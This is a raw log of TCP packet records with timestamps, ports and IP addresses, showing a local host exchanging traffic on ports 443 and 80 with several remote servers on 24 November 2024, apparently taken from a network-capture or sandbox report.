Nov 24, 2024 02:13:15.043651104 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.043663025 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.043675900 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.043721914 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.043729067 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.087392092 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.087461948 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.087471962 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.135751009 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.135761976 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.176913977 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.176923037 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.221029997 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.221096992 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.221111059 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.245163918 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.245224953 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.245232105 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.253556967 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.253619909 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.253626108 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.260691881 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.260746956 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.260754108 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.270359993 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.270414114 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.270420074 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.280009985 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.280061007 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.280066967 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.291651964 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.291709900 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.291721106 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.305151939 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.305207968 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.305214882 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.318783045 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.318846941 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.318854094 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.332453012 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.332487106 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.332506895 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.332514048 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.332741976 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.345953941 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.395633936 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.395648956 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.427300930 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.427367926 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.427375078 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.429610014 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.429668903 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.429675102 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.451467991 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.451545954 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.451550961 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.451579094 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.451620102 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.453573942 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.458072901 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.458122969 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.458129883 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.462405920 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.462455034 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.462466955 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.473920107 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.473990917 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.474013090 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.485366106 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.485429049 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.485435963 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.496038914 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.496083021 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.496088982 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.506273985 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.506365061 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.506371021 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.515609980 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.515820980 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.515826941 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.524780989 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.524867058 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.524873018 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.533482075 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.533598900 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.533605099 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.542366028 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.542433977 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.542439938 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.554188013 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.554245949 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.554253101 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.558693886 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.558837891 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.558845997 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.571444035 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.571502924 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.571511984 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.574801922 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.574856043 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.574862003 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.582817078 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.582902908 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.582909107 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.590678930 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.590799093 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.590804100 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.598757029 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.598810911 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.598819971 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.606663942 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.606725931 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.606733084 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.612796068 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.612843990 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.612848997 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.637831926 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.637918949 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.637924910 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.639693975 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.639746904 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.639753103 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.642724991 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.642777920 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.642784119 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.661999941 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.662048101 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.662054062 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.665821075 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.665870905 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.665878057 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.672626972 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.672751904 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.672754049 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.672781944 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.673074961 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.673912048 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.684314966 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.684443951 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.684451103 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.685296059 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.685439110 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.685445070 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.687711000 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.687764883 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.687980890 CET	49737	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:15.687993050 CET	443	49737	142.250.181.100	192.168.2.4
Nov 24, 2024 02:13:15.694773912 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:15.694880009 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:15.695097923 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:15.705598116 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:15.705638885 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:16.060055017 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:16.060338020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:16.179683924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:16.179826975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:16.179968119 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:16.180167913 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:16.299627066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:16.542778969 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:16.542840958 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:16.542987108 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:16.544545889 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:16.544567108 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:17.333293915 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:17.333446980 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:17.338440895 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:17.338454008 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:17.338716984 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:17.380280972 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:17.925306082 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:17.925419092 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:17.929730892 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:17.929748058 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:17.930179119 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:17.973527908 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:17.980740070 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:18.023346901 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:18.063785076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:18.063874006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:18.192667007 CET	49739	443	192.168.2.4	142.250.181.100
Nov 24, 2024 02:13:18.249794960 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:18.249835968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:18.369467974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:18.369486094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:18.369554043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:18.437089920 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:18.437252998 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:18.437329054 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:18.437329054 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:18.437412024 CET	49749	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:18.437449932 CET	443	49749	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:18.496661901 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:18.496731043 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:18.496818066 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:18.497189045 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:18.497224092 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:19.007555962 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:19.051357985 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.193691015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:19.193752050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:19.243060112 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:19.362571955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:19.543287992 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.543337107 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.543348074 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.543365002 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.543412924 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.543418884 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:19.543466091 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.543499947 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:19.543499947 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:19.543557882 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:19.562767982 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.562843084 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:19.562861919 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.562885046 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:19.562943935 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:19.922672987 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:19.922760963 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:19.924199104 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:19.924230099 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:19.924582005 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:19.925580978 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:19.971339941 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:20.199317932 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:20.199378967 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:20.447463989 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:20.447557926 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:20.447628021 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:20.448777914 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:20.448801041 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:20.448813915 CET	49751	443	192.168.2.4	23.218.208.109
Nov 24, 2024 02:13:20.448822021 CET	443	49751	23.218.208.109	192.168.2.4
Nov 24, 2024 02:13:20.591686964 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:20.711258888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:21.000679016 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:21.000710964 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:21.000756979 CET	49742	443	192.168.2.4	20.12.23.50
Nov 24, 2024 02:13:21.000766039 CET	443	49742	20.12.23.50	192.168.2.4
Nov 24, 2024 02:13:21.447187901 CET	49723	80	192.168.2.4	199.232.214.172
Nov 24, 2024 02:13:21.539613962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:21.539693117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:21.566982031 CET	80	49723	199.232.214.172	192.168.2.4
Nov 24, 2024 02:13:21.567102909 CET	49723	80	192.168.2.4	199.232.214.172
Nov 24, 2024 02:13:21.780350924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:21.899872065 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.227082014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.227157116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.227277994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.227293015 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.227308035 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.227333069 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.227343082 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.227346897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.227411032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.235496998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.235558033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.235604048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.235645056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.243870974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.243943930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.243998051 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.252257109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.252316952 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.252360106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.252542973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.351387024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.351445913 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.351459980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.351511002 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.428668022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.428714037 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.428736925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.428775072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.432777882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.432847023 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.432862043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.432925940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.439255953 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.439330101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.439371109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.439414024 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.447633982 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.447685957 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.447772026 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.447820902 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.456026077 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.456078053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.456125975 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.456173897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.464344978 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.464433908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.464484930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.464528084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.472726107 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.472877026 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.472898960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.473020077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.481120110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.481147051 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.481170893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.481187105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.489494085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.489542961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.489593983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.489631891 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.497896910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.497948885 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.498044014 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.498086929 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.506232023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.506282091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.506329060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.506371021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.514622927 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.514674902 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.553606987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.553666115 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.553709984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.553751945 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.557713985 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.557763100 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.629832983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.629848957 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.629934072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.631226063 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.631294012 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.631347895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.631576061 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.636218071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.636271000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.636312008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.636528015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.641175032 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.641273022 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.641369104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.641603947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:22.646125078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:22.646241903 CET	80	49748	185.215.113.206	192.168.2.4
